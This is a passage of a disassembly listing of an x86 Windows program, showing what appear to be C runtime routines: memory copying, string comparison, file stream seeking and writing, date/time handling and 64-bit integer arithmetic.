; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------


loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------


loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx


loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------


loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------


loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78C+34p
					; sub_40D78C+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DCFFC
		call	sub_422608
		mov	edx, dword_4DCFFC
		pop	ecx
		mov	ecx, dword_4DCFF8
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DCFFC
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------


loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DCFF8
		sub	ecx, dword_4DCFFC
		mov	dword_4DCFFC, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DCFF8, ecx


loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DCFF8, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D879+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DCFFC, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DCFFC
		pop	ecx


loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DCFFC
		mov	dword_4DCFF8, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Cp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 27C016Fh
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 28B0000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB9B2
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB9B0
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB9AE
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB9AA
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB9A8
		jnz	short loc_41D0E6
		mov	eax, dword_4DB9A0
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------


loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 28A0000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh


loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB9A8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB9A0, eax
		pop	esi


loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DB9FC
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi


loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh


loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------


loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268


loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------


loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h


loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------


loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB948, 16h
		or	eax, 0FFFFFFFFh


loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B09+19Ep
					; sub_41386C+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------


loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------


loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h


loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax


loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------


loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3


loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------


loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx


loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA


loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------


loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1


loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]


loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------


loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi


loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416909+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 26A0D79h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		nop
		call	near ptr 26A08B1h
		push	eax
		call	sub_4203DF
		pop	ecx


loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB948, 0Dh
		mov	dword_4DB94C, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------


loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416923+3Fp
					; sub_41A98D+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------


loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F


loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi


loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416923+2Dp
					; sub_41A98D+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------


loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2


loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A33+5Fp
					; sub_416A33+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------


loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596


loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi


loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi


loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170ED+BFp
					; sub_4170ED+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

